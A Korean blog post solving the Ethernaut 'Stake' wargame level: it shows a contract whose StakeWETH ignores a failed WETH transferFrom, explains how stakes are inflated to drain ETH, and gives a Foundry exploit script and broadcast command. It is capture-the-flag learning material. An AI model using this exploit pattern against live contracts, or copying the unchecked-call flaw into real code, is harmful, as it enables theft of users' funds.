[ethernaut] Stake

wooz3k·2024년 5월 30일
0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;

    constructor(address _weth) payable{
        totalStaked += msg.value;
        WETH = _weth;
    }

    function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }
    function StakeWETH(uint256 amount) public returns (bool){
        require(amount >  0.001 ether, "Don't be cheap");
        (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
        require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
        Stakers[msg.sender] = true;
        return transfered;
    }

    function Unstake(uint256 amount) public returns (bool){
        require(UserStake[msg.sender] >= amount,"Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value : amount}("");
        return success;
    }
    function bytesToUint(bytes memory data) internal pure returns (uint256) {
        require(data.length >= 32, "Data length must be at least 32 bytes");
        uint256 result;
        assembly {
            result := mload(add(data, 0x20))
        }
        return result;
    }
}

거의 1년만에 Ethernaut 문제가 나왔다. 퇴근하고 후딱 풀이를 작성한다.

이 문제의 목표는 https://github.com/OpenZeppelin/ethernaut/blob/a89c8f7832258655c09fde16e6602c78e5e99dbd/contracts/src/levels/StakeFactory.sol#L19 이 조건을 통과하면 된다.

StakeWETH()를 보면 raw call로 WETH와 상호작용을 하는데 transferFrom()의 return 값을 검증하지 않는 것을 볼 수 있다. 즉, WETH 전송이 실패하여도 revert가 발생하지 않는다는 의미이다. 이를 통해 UserStake 값을 무한으로 늘려 Stake 컨트랙트가 보유하고 있는 모든 ETH를 drain 할 수 있다. 컨트랙트가 보유하고 있는 ETH는 없기 때문에 문제 목표 조건을 통과할 수 있게 피해자 staker를 만들어 조건을 통과하면 된다.

pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import "../src/stake.sol";

interface IERC20 {
    function approve(address, uint256) external;
}

contract StakeSolver is Script {
    Stake stake;
    IERC20 WETH;
    function setUp() public {
        stake = Stake(address(0x6cb822c0d1f2B8693B74a140A434bfb87f9f80a9));
        WETH = IERC20(address(0x000000000000000000000000c5fa7a325011a462ad1048cfd74eee0a412d6302));
    }

    function run() public {
        vm.startBroadcast(uint256(PV_KEY));
        new Ex{value:0.0011 ether}(stake);
        WETH.approve(address(stake), 0.00101 ether);
        stake.StakeWETH(0.00101 ether);
        stake.Unstake(0.00101 ether);
    }
}

contract Ex {
    Stake stake;
    constructor(Stake _stake) payable {
        stake = _stake;
        stake.StakeETH{value: msg.value}();
    }
}

forge script --fork-url $RPC_URL --broadcast script/StakeSolver.s.sol:StakeSolver

위 코드는 solver 코드이고, 문제를 해결하였다.

profile
KAIST25 prev.Theori ChainLight Web3 Researcher

0개의 댓글